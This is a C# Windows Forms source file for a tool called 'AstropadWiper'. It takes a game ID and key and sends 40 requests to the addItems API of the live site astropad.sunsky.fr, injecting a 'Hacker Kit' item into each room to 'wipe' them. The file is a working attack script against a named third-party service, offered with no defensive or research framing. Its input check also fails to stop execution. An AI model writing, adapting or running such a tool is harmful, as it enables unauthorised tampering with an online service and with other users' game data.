﻿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Threading;

namespace AstropadWiper
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {
            try
            {
                if (txtGID.Text.Length < 5 || txtGKEY.Text.Length < 20)
                {
                    lblStatus.Text = "ERR; Please fill in items";
                }

                lblStatus.Text = "Wiping " + txtGID.Text;

                for (int i = 0; i < 40; i++)
                {
                    lblStatus.Text = String.Format("Wiping {0} room {1}", txtGID.Text, i);

                    var targetURL = String.Format("http://astropad.sunsky.fr/api.py/addItems?tid=1&hid=2&gid={1}&gkey={2}&chk=E526&data={0}|Hacker%20Kit|hacker_kit|1||",
                        i, txtGID.Text, txtGKEY.Text);
                    var getRequest = WebRequest.Create(targetURL);
                    getRequest.Timeout = 750;
                    try
                    {
                        var resp = getRequest.GetResponse();
                        Thread.Sleep(500);
                    }
                    catch
                    {
                        //Do nothing
                    }
                }

                lblStatus.Text = "Finished wiping " + txtGID.Text;
            }
            catch (Exception ex)
            {
                lblStatus.Text = ex.Message;
            }
        }
    }
}
